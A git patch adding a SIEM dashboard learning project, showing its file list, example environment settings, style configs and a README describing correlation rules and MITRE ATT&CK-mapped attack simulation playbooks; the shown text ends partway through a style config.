From d1351973482033764e494b900e17391c1644a18f Mon Sep 17 00:00:00 2001 From: CarterPerez-dev Date: Sun, 8 Feb 2026 17:47:33 -0500 Subject: [PATCH] siem dashbaord complete --- .../intermediate/siem-dashboard/.env.example | 23 + .../intermediate/siem-dashboard/.gitignore | 17 + .../intermediate/siem-dashboard/.style.yapf | 46 + .../intermediate/siem-dashboard/README.md | 103 + .../siem-dashboard/backend/.style.yapf | 47 + .../siem-dashboard/backend/app/__init__.py | 59 + .../siem-dashboard/backend/app/cli.py | 60 + .../siem-dashboard/backend/app/config.py | 70 + .../backend/app/controllers/__init__.py | 4 + .../backend/app/controllers/admin_ctrl.py | 122 + .../backend/app/controllers/alert_ctrl.py | 70 + .../backend/app/controllers/auth_ctrl.py | 147 + .../backend/app/controllers/dashboard_ctrl.py | 65 + .../backend/app/controllers/log_ctrl.py | 117 + .../backend/app/controllers/rule_ctrl.py | 118 + .../backend/app/controllers/scenario_ctrl.py | 75 + .../backend/app/core/__init__.py | 4 + .../siem-dashboard/backend/app/core/auth.py | 110 + .../backend/app/core/decorators/__init__.py | 11 + .../backend/app/core/decorators/endpoint.py | 88 + .../backend/app/core/decorators/response.py | 42 + .../backend/app/core/decorators/schema.py | 78 + .../siem-dashboard/backend/app/core/errors.py | 111 + .../backend/app/core/rate_limiting.py | 41 + .../backend/app/core/serialization.py | 70 + .../backend/app/core/streaming.py | 126 + .../backend/app/engine/__init__.py | 4 + .../backend/app/engine/correlation.py | 377 ++ .../backend/app/engine/normalizer.py | 149 + .../backend/app/engine/severity.py | 139 + .../siem-dashboard/backend/app/extensions.py | 54 + .../backend/app/models/Alert.py | 137 + .../siem-dashboard/backend/app/models/Base.py | 72 + .../backend/app/models/CorrelationRule.py | 58 + .../backend/app/models/LogEvent.py | 280 ++ .../backend/app/models/ScenarioRun.py | 127 + .../siem-dashboard/backend/app/models/User.py | 155 + .../backend/app/models/__init__.py | 4 + .../backend/app/routes/__init__.py | 30 + .../backend/app/routes/admin.py | 80 + .../backend/app/routes/alerts.py | 55 + .../siem-dashboard/backend/app/routes/auth.py | 62 + .../backend/app/routes/dashboard.py | 56 + .../siem-dashboard/backend/app/routes/logs.py | 83 + .../backend/app/routes/rules.py | 81 + .../backend/app/routes/scenarios.py | 87 + .../backend/app/scenarios/__init__.py | 4 + .../backend/app/scenarios/playbook.py | 130 + .../playbooks/brute_force_lateral.yml | 446 +++ .../scenarios/playbooks/data_exfiltration.yml | 328 ++ .../app/scenarios/playbooks/phishing_c2.yml | 315 ++ .../playbooks/privilege_escalation.yml | 307 ++ .../backend/app/scenarios/runner.py | 252 ++ .../backend/app/schemas/__init__.py | 4 + .../backend/app/schemas/admin.py | 27 + .../backend/app/schemas/alert.py | 31 + .../backend/app/schemas/auth.py | 73 + .../backend/app/schemas/dashboard.py | 32 + .../backend/app/schemas/log_event.py | 68 + .../backend/app/schemas/rule.py | 105 + .../backend/app/schemas/scenario.py | 25 + .../siem-dashboard/backend/fix_mypy.py | 70 + .../siem-dashboard/backend/pyproject.toml | 269 ++ .../siem-dashboard/backend/uv.lock | 1021 ++++++ .../siem-dashboard/backend/wsgi.py | 9 + .../siem-dashboard/cloudflared.compose.yml | 22 + .../intermediate/siem-dashboard/compose.yml | 129 + .../conf/docker/dev/flask.docker | 26 + .../conf/docker/dev/vite.docker | 14 + .../conf/docker/prod/flask.docker | 33 + .../conf/docker/prod/vite.docker | 25 + .../siem-dashboard/conf/nginx/dev.nginx | 69 + .../siem-dashboard/conf/nginx/nginx.conf | 82 + .../siem-dashboard/conf/nginx/nginx.prod.conf | 72 + .../siem-dashboard/conf/nginx/prod.nginx | 88 + .../siem-dashboard/dev.compose.yml | 119 + .../siem-dashboard/docs/images/alerts.png | Bin 0 -> 87170 bytes .../siem-dashboard/docs/images/dashboard.png | Bin 0 -> 135064 bytes .../siem-dashboard/docs/images/log-viewer.png | Bin 0 -> 60594 bytes .../siem-dashboard/docs/images/rules.png | Bin 0 -> 63368 bytes .../siem-dashboard/docs/images/scenarios.png | Bin 0 -> 128227 bytes .../siem-dashboard/frontend/.gitignore | 18 + .../siem-dashboard/frontend/.stylelintignore | 22 + .../siem-dashboard/frontend/biome.json | 94 + .../siem-dashboard/frontend/index.html | 48 + .../siem-dashboard/frontend/package.json | 61 + .../siem-dashboard/frontend/pnpm-lock.yaml | 3253 +++++++++++++++++ .../public/assets/android-chrome-192x192.png | Bin 0 -> 25969 bytes .../public/assets/android-chrome-512x512.png | Bin 0 -> 144902 bytes .../public/assets/apple-touch-icon.png | Bin 0 -> 23362 bytes .../frontend/public/assets/favicon-16x16.png | Bin 0 -> 532 bytes .../frontend/public/assets/favicon-32x32.png | Bin 0 -> 1324 bytes .../frontend/public/assets/favicon.ico | Bin 0 -> 15406 bytes .../frontend/public/assets/site.webmanifest | 1 + .../siem-dashboard/frontend/src/App.tsx | 34 + .../frontend/src/api/hooks/index.ts | 13 + .../frontend/src/api/hooks/useAdmin.ts | 159 + .../frontend/src/api/hooks/useAlerts.ts | 85 + .../frontend/src/api/hooks/useAuth.ts | 226 ++ .../frontend/src/api/hooks/useDashboard.ts | 87 + .../frontend/src/api/hooks/useEventStream.ts | 92 + .../frontend/src/api/hooks/useLogs.ts | 95 + .../frontend/src/api/hooks/useRules.ts | 145 + .../frontend/src/api/hooks/useScenarios.ts | 175 + .../frontend/src/api/types/admin.types.ts | 53 + .../frontend/src/api/types/alert.types.ts | 72 + .../frontend/src/api/types/auth.types.ts | 117 + .../frontend/src/api/types/common.types.ts | 83 + .../frontend/src/api/types/dashboard.types.ts | 57 + .../frontend/src/api/types/index.ts | 13 + .../frontend/src/api/types/log.types.ts | 73 + .../frontend/src/api/types/rule.types.ts | 73 + .../frontend/src/api/types/scenario.types.ts | 47 + .../siem-dashboard/frontend/src/config.ts | 190 + .../frontend/src/core/app/admin-route.tsx | 18 + .../frontend/src/core/app/index.ts | 8 + .../frontend/src/core/app/protected-route.tsx | 25 + .../frontend/src/core/app/router.tsx | 74 + .../frontend/src/core/app/shell.module.scss | 381 ++ .../frontend/src/core/app/shell.tsx | 196 + .../frontend/src/core/charts/index.ts | 6 + .../frontend/src/core/charts/theme.ts | 38 + .../frontend/src/core/lib/api.ts | 47 + .../frontend/src/core/lib/errors.ts | 102 + .../frontend/src/core/lib/index.ts | 8 + .../frontend/src/core/lib/query.ts | 110 + .../frontend/src/core/stores/auth.store.ts | 80 + .../frontend/src/core/stores/index.ts | 8 + .../frontend/src/core/stores/stream.store.ts | 68 + .../frontend/src/core/stores/ui.store.ts | 57 + .../siem-dashboard/frontend/src/main.tsx | 15 + .../src/routes/admin/admin.module.scss | 184 + .../frontend/src/routes/admin/index.tsx | 165 + .../src/routes/alerts/alerts.module.scss | 357 ++ .../frontend/src/routes/alerts/index.tsx | 287 ++ .../components/event-timeline.module.scss | 32 + .../dashboard/components/event-timeline.tsx | 103 + .../components/severity-chart.module.scss | 75 + .../dashboard/components/severity-chart.tsx | 118 + .../components/stat-cards.module.scss | 50 + .../dashboard/components/stat-cards.tsx | 50 + .../components/top-sources.module.scss | 77 + .../dashboard/components/top-sources.tsx | 59 + .../routes/dashboard/dashboard.module.scss | 24 + .../frontend/src/routes/dashboard/index.tsx | 36 + .../frontend/src/routes/landing/index.tsx | 92 + .../src/routes/landing/landing.module.scss | 153 + .../frontend/src/routes/login/index.tsx | 113 + .../src/routes/login/login.module.scss | 185 + .../frontend/src/routes/logs/index.tsx | 266 ++ .../frontend/src/routes/logs/logs.module.scss | 319 ++ .../frontend/src/routes/register/index.tsx | 181 + .../src/routes/register/register.module.scss | 185 + .../frontend/src/routes/rules/index.tsx | 269 ++ .../src/routes/rules/rules.module.scss | 426 +++ .../frontend/src/routes/scenarios/index.tsx | 167 + .../routes/scenarios/scenarios.module.scss | 245 ++ .../frontend/src/routes/settings/index.tsx | 153 + .../src/routes/settings/settings.module.scss | 140 + .../siem-dashboard/frontend/src/styles.scss | 29 + .../frontend/src/styles/_fonts.scss | 12 + .../frontend/src/styles/_index.scss | 8 + .../frontend/src/styles/_mixins.scss | 120 + .../frontend/src/styles/_reset.scss | 196 + .../frontend/src/styles/_tokens.scss | 159 + .../frontend/stylelint.config.js | 107 + .../siem-dashboard/frontend/tsconfig.app.json | 31 + .../siem-dashboard/frontend/tsconfig.json | 7 + .../frontend/tsconfig.node.json | 24 + .../siem-dashboard/frontend/vite.config.ts | 74 + PROJECTS/intermediate/siem-dashboard/justfile | 133 + 171 files changed, 20147 insertions(+) create mode 100644 PROJECTS/intermediate/siem-dashboard/.env.example create mode 100644 PROJECTS/intermediate/siem-dashboard/.gitignore create mode 100644 PROJECTS/intermediate/siem-dashboard/.style.yapf create mode 100644 PROJECTS/intermediate/siem-dashboard/README.md create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/.style.yapf create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/__init__.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/cli.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/config.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/controllers/__init__.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/controllers/admin_ctrl.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/controllers/alert_ctrl.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/controllers/auth_ctrl.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/controllers/dashboard_ctrl.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/controllers/log_ctrl.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/controllers/rule_ctrl.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/controllers/scenario_ctrl.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/core/__init__.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/core/auth.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/__init__.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/endpoint.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/response.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/schema.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/core/errors.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/core/rate_limiting.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/core/serialization.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/core/streaming.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/engine/__init__.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/engine/correlation.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/engine/normalizer.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/engine/severity.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/extensions.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/models/Alert.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/models/Base.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/models/CorrelationRule.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/models/LogEvent.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/models/ScenarioRun.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/models/User.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/models/__init__.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/routes/__init__.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/routes/admin.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/routes/alerts.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/routes/auth.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/routes/dashboard.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/routes/logs.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/routes/rules.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/routes/scenarios.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/__init__.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbook.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbooks/brute_force_lateral.yml create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbooks/data_exfiltration.yml create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbooks/phishing_c2.yml create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbooks/privilege_escalation.yml create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/runner.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/schemas/__init__.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/schemas/admin.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/schemas/alert.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/schemas/auth.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/schemas/dashboard.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/schemas/log_event.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/schemas/rule.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/app/schemas/scenario.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/fix_mypy.py create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/pyproject.toml create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/uv.lock create mode 100644 PROJECTS/intermediate/siem-dashboard/backend/wsgi.py create mode 100644 PROJECTS/intermediate/siem-dashboard/cloudflared.compose.yml create mode 100644 PROJECTS/intermediate/siem-dashboard/compose.yml create mode 100644 PROJECTS/intermediate/siem-dashboard/conf/docker/dev/flask.docker create mode 100644 PROJECTS/intermediate/siem-dashboard/conf/docker/dev/vite.docker create mode 100644 PROJECTS/intermediate/siem-dashboard/conf/docker/prod/flask.docker create mode 100644 PROJECTS/intermediate/siem-dashboard/conf/docker/prod/vite.docker create mode 100644 PROJECTS/intermediate/siem-dashboard/conf/nginx/dev.nginx create mode 100644 PROJECTS/intermediate/siem-dashboard/conf/nginx/nginx.conf create mode 100644 PROJECTS/intermediate/siem-dashboard/conf/nginx/nginx.prod.conf create mode 100644 PROJECTS/intermediate/siem-dashboard/conf/nginx/prod.nginx create mode 100644 PROJECTS/intermediate/siem-dashboard/dev.compose.yml create mode 100644 PROJECTS/intermediate/siem-dashboard/docs/images/alerts.png create mode 100644 PROJECTS/intermediate/siem-dashboard/docs/images/dashboard.png create mode 100644 PROJECTS/intermediate/siem-dashboard/docs/images/log-viewer.png create mode 100644 PROJECTS/intermediate/siem-dashboard/docs/images/rules.png create mode 100644 PROJECTS/intermediate/siem-dashboard/docs/images/scenarios.png create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/.gitignore create mode 100755 PROJECTS/intermediate/siem-dashboard/frontend/.stylelintignore create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/biome.json create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/index.html create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/package.json create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/pnpm-lock.yaml create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/public/assets/android-chrome-192x192.png create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/public/assets/android-chrome-512x512.png create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/public/assets/apple-touch-icon.png create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/public/assets/favicon-16x16.png create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/public/assets/favicon-32x32.png create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/public/assets/favicon.ico create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/public/assets/site.webmanifest create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/App.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/index.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAdmin.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAlerts.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAuth.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useDashboard.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useEventStream.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useLogs.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useRules.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useScenarios.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/admin.types.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/alert.types.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/auth.types.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/common.types.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/dashboard.types.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/index.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/log.types.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/rule.types.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/scenario.types.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/config.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/admin-route.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/index.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/protected-route.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/router.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/shell.module.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/shell.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/core/charts/index.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/core/charts/theme.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/api.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/errors.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/index.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/core/lib/query.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/auth.store.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/index.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/stream.store.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/core/stores/ui.store.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/main.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/admin/admin.module.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/admin/index.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/alerts/alerts.module.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/alerts/index.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/event-timeline.module.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/event-timeline.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/severity-chart.module.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/severity-chart.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/stat-cards.module.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/stat-cards.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/top-sources.module.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/components/top-sources.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/dashboard.module.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/dashboard/index.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/landing/index.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/landing/landing.module.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/login/index.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/login/login.module.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/logs/index.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/logs/logs.module.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/register/index.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/register/register.module.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/rules/index.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/rules/rules.module.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/scenarios/index.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/scenarios/scenarios.module.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/settings/index.tsx create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/routes/settings/settings.module.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/styles.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/styles/_fonts.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/styles/_index.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/styles/_mixins.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/styles/_reset.scss create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/src/styles/_tokens.scss create mode 100755 PROJECTS/intermediate/siem-dashboard/frontend/stylelint.config.js create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/tsconfig.app.json create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/tsconfig.json create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/tsconfig.node.json create mode 100644 PROJECTS/intermediate/siem-dashboard/frontend/vite.config.ts create mode 100644 PROJECTS/intermediate/siem-dashboard/justfile diff --git a/PROJECTS/intermediate/siem-dashboard/.env.example b/PROJECTS/intermediate/siem-dashboard/.env.example new file mode 100644 index 00000000..655dfc83 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/.env.example @@ -0,0 +1,23 @@ +# ©AngelaMos | 2026 +# .env.example + +APP_NAME=siem + +SECRET_KEY=change-me-to-a-random-string + +MONGO_DB=siem +MONGO_HOST_PORT=8654 + +REDIS_HOST_PORT=6266 +REDIS_PASSWORD= + +NGINX_HOST_PORT=8431 +BACKEND_HOST_PORT=5113 +FRONTEND_HOST_PORT=3420 + +VITE_API_URL=/api + +LOG_LEVEL=INFO +DEBUG=false + +CLOUDFLARE_TUNNEL_TOKEN= diff --git a/PROJECTS/intermediate/siem-dashboard/.gitignore b/PROJECTS/intermediate/siem-dashboard/.gitignore new file mode 100644 index 00000000..c7aa2018 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/.gitignore @@ -0,0 +1,17 @@ +# ©AngelaMos | 2026 +# .gitignore + +.env +__pycache__/ +*.pyc +.venv/ +*.egg-info/ +dist/ +build/ +.mypy_cache/ +.ruff_cache/ +.pytest_cache/ +node_modules/ +frontend/dist/ +.DS_Store +/frontend/.pnpm-store diff --git a/PROJECTS/intermediate/siem-dashboard/.style.yapf b/PROJECTS/intermediate/siem-dashboard/.style.yapf new file mode 100644 index 00000000..70e0cb02 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/.style.yapf @@ -0,0 +1,46 @@ +[style] +based_on_style = pep8 +column_limit = 77 +indent_width = 4 +continuation_indent_width = 4 +indent_closing_brackets = false +dedent_closing_brackets = true +indent_blank_lines = false +spaces_before_comment = 2 +spaces_around_power_operator = false +spaces_around_default_or_named_assign = true +space_between_ending_comma_and_closing_bracket = false +space_inside_brackets = false +spaces_around_subscript_colon = true +blank_line_before_nested_class_or_def = false +blank_line_before_class_docstring = false +blank_lines_around_top_level_definition = 2 +blank_lines_between_top_level_imports_and_variables = 2 +blank_line_before_module_docstring = false +split_before_logical_operator = true +split_before_first_argument = true +split_before_named_assigns = true +split_complex_comprehension = true +split_before_expression_after_opening_paren = false +split_before_closing_bracket = true +split_all_comma_separated_values = true +split_all_top_level_comma_separated_values = false +coalesce_brackets = false +each_dict_entry_on_separate_line = true +allow_multiline_lambdas = false +allow_multiline_dictionary_keys = false +split_penalty_import_names = 0 +join_multiple_lines = false +align_closing_bracket_with_visual_indent = true +arithmetic_precedence_indication = false +split_penalty_for_added_line_split = 275 +use_tabs = false +split_before_dot = false +split_arguments_when_comma_terminated = true +i18n_function_call = ['_', 'N_', 'gettext', 'ngettext'] +i18n_comment = ['# Translators:', '# i18n:'] +split_penalty_comprehension = 80 +split_penalty_after_opening_bracket = 280 +split_penalty_before_if_expr = 0 +split_penalty_bitwise_operator = 290 +split_penalty_logical_operator = 0 diff --git a/PROJECTS/intermediate/siem-dashboard/README.md b/PROJECTS/intermediate/siem-dashboard/README.md new file mode 100644 index 00000000..b345eabf --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/README.md @@ -0,0 +1,103 @@ + + +# SIEM Dashboard + +A full-stack Security Information and Event Management dashboard with a built-in attack scenario simulation engine. Run realistic cyberattack playbooks, watch log events flow through a correlation engine in real time, and investigate generated alerts — all from the browser. + +**Live Demo:** [siem.carterperez-dev.com](https://siem.carterperez-dev.com) + +--- + +## Dashboard + +Real-time overview of ingested events, active alerts, severity distribution, and top source IPs. + +![Dashboard](docs/images/dashboard.png) + +## Log Viewer + +Paginated, filterable log table showing every event ingested by the system — firewall, auth, IDS, endpoint, DNS, and proxy logs. Click any row to inspect the full normalized payload. + +![Log Viewer](docs/images/log-viewer.png) + +## Alerts + +Alerts fire when correlation rules detect suspicious patterns in the event stream. Each alert shows the matched rule, severity, status, grouped source, and the specific events that triggered it. Analysts can acknowledge, investigate, resolve, or mark as false positive. + +![Alerts](docs/images/alerts.png) + +## Correlation Rules + +Define detection logic using three rule types: + +- **Threshold** — fire when N events from the same group occur within a time window +- **Sequence** — fire when an ordered series of event patterns appears (e.g. failed logins followed by a success) +- **Aggregation** — fire when distinct values of a field exceed a threshold (e.g. one IP hitting 10+ ports) + +![Rules](docs/images/rules.png) + +## Scenario Engine + +Four YAML-based attack playbooks mapped to real MITRE ATT&CK techniques. Start a scenario, adjust playback speed, pause/resume — events flow through the full pipeline in real time. + +| Playbook | Techniques | Events | +|----------|-----------|--------| +| Brute Force with Lateral Movement | T1110.001, T1021.004 | 29 | +| Data Exfiltration via DNS Tunneling | T1046, T1005, T1048.003, T1071.004 | 22 | +| Phishing to C2 Beaconing | T1566.001, T1204.002, T1059.001, T1071.001, T1573.002 | 18 | +| Privilege Escalation and Persistence | T1068, T1136.001, T1053.005, T1070.002 | 20 | + +![Scenarios](docs/images/scenarios.png) + +## How It Works + +``` +YAML Playbook ──→ Scenario Thread (replays events with timing) + │ + ▼ + LogEvent.ingest() + │ + ┌───────────┴────────────┐ + ▼ ▼ + MongoDB (logs) Redis Stream (XADD) + │ + ┌──────────┴──────────┐ + ▼ ▼ + Correlation Engine SSE Generator + (XREADGROUP) (XREAD) + │ │ + Rule.evaluate() ▼ + │ Frontend Live Feed + ▼ + Alert.create() + │ + ┌───────┴───────┐ + ▼ ▼ + MongoDB (alerts) Alert SSE → Frontend +``` + +## Tech Stack + +| Layer | Stack | +|-------|-------| +| Backend | Flask, MongoEngine, Redis Streams, Pydantic, Argon2, JWT | +| Frontend | React 19, TypeScript, Vite, TanStack Query, Zustand, visx, SCSS Modules | +| Data | MongoDB 8, Redis 7 | +| Infra | Docker Compose, Nginx, Gunicorn | + +## Quick Start + +```bash +git clone +cd siem-dashboard +docker compose -f dev.compose.yml up --build +``` + +- **App:** http://localhost:8431 +- **API:** http://localhost:8431/api/v1 + +Register an account, create a correlation rule, start a scenario, and watch the data flow. + +## Learn More + +See the [`learn/`](learn/) folder for in-depth documentation on SIEM concepts, architecture decisions, implementation walkthroughs, and extension challenges. diff --git a/PROJECTS/intermediate/siem-dashboard/backend/.style.yapf b/PROJECTS/intermediate/siem-dashboard/backend/.style.yapf new file mode 100644 index 00000000..8abdade4 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/.style.yapf @@ -0,0 +1,47 @@ +# ⒸAngelaMos | 2025 | CarterPerez-dev +[style] +based_on_style = pep8 +column_limit = 89 +indent_width = 4 +continuation_indent_width = 4 +indent_closing_brackets = false +dedent_closing_brackets = true +indent_blank_lines = false +spaces_before_comment = 2 +spaces_around_power_operator = false +spaces_around_default_or_named_assign = true +space_between_ending_comma_and_closing_bracket = false +space_inside_brackets = false +spaces_around_subscript_colon = true +blank_line_before_nested_class_or_def = false +blank_line_before_class_docstring = false +blank_lines_around_top_level_definition = 2 +blank_lines_between_top_level_imports_and_variables = 2 +blank_line_before_module_docstring = false +split_before_logical_operator = true +split_before_first_argument = true +split_before_named_assigns = true +split_complex_comprehension = true +split_before_expression_after_opening_paren 